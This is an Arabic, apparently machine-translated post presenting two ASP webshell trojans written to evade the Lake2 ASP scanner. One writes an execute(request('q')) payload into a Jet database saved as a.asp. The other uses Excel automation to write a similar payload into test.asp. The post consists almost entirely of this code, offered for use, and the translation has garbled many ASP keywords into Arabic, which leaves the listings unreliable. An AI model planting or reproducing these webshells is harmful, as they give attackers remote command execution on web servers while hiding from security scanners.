اثنان من أحصنة طروادة ASP غير التقليدية (يمكنهما الهروب من الفحص)

تمت كتابة اثنين من أحصنة طروادة ASP غير التقليدية بواسطة hanxiaolian لتجنب مساعد إدارة مشرف الموقع Lake2 ASP

مكتوب لتجنب مساعد إدارة مشرف الموقع Lake2 ASP...

1. مهر يتجاوز فحص Lake2 Asp Trojan

انسخ رمز الكود كما يلي:

<%

مجموعة ج = CreateObject(ADOX.Catalog)

c.create(Provider=Microsoft.Jet.OLEDB.4.0;Data Source=&Server.MapPath(a.asp))

مجموعة ج = لا شيء

ج&Server.MapPath(a.asp)

تعيين conn=server.createobject(Adodb.Connection)

conn.open connstr

conn.execute (إنشاء جدول nomm (nomuma oleobject))

تعيين rs=server.createobject(adodb.recordset)

sql=SELECT * من nomm

rs.open SQL، كون، 1،3

rs.addnew

rs (nomuma).appendchunk(chrB(asc(<))&chrB(asc(%))&chrB(asc (e))&chrB

(تصاعدي(x))&chrB(تصاعدي(e))&chrB(تصاعدي(ج))&chrB(تصاعدي (u))&chrB(تصاعدي(t))&chrB(تصاعدي)

(هـ))&chrB(تصاعدي(+))&chrB(تصاعدي (ص))&chrB(تصاعدي(ه))&chrB(تصاعدي(ف))&chrB(تصاعدي)

(u))&chrB(asc (e))&chrB(asc(s))&chrB(asc(t))&chrB(asc(())&chrB(34)

&chrB(asc(q))&chrB(34)&chrB(asc()))&chrB(asc(%))& chrB(asc(>)))

rs.update

rs. Close

تعيين RS=لا شيء

conn. Close

تعيين كون = لا شيء

%>

2.xls نسخة asp webshell

انسخ رمز الكود كما يلي:

<%

تعيين xlA = Server.CreateObject(Excel.Application)

xlA.Visible = خطأ

xlA.Workbooks.Add

تعيين xlWorksheet = xlA.أوراق العمل(1)

xlWorksheet.Cells(1,1).Value = <%ex&ec&ute(request(q))+chr(37)+>

'strFile = d:/test.asp

strFile = Server.MapPath(test.asp)

xlWorkSheet.SaveAs strFile

xlA.Quit

تعيين xlWorksheet = لا شيء

تعيين xlA = لا شيء

%>